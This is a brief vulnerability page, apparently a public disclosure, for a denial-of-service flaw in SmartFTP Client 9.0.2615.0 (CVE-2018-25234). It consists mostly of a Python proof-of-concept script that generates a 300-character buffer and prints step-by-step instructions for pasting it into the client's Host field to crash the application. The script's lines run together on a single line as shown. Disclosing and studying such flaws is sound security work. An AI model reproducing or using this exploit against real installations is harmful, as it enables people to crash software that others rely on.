CVE-2018-25234 SmartFTP客户端拒绝服务漏洞

import sys # Proof of Concept (PoC) for CVE-2018-25234 # Vulnerability: SmartFTP Client 9.0.2615.0 Denial of Service # Description: Supplying a buffer of 300 repeated characters in the Host field crashes the app. def generate_payload(): # The vulnerability is triggered by a long string in the Host field. # Testing indicates 300 characters are sufficient. buffer_size = 300 payload = "A" * buffer_size return payload if __name__ == "__main__": crash_string = generate_payload() print(f"Generated Payload: {crash_string}") print("Steps to reproduce:") print("1. Open SmartFTP Client 9.0.2615.0") print("2. Go to connection settings (New Connection)") print("3. Paste the above payload into the 'Host' field") print("4. The application should crash (Denial of Service)")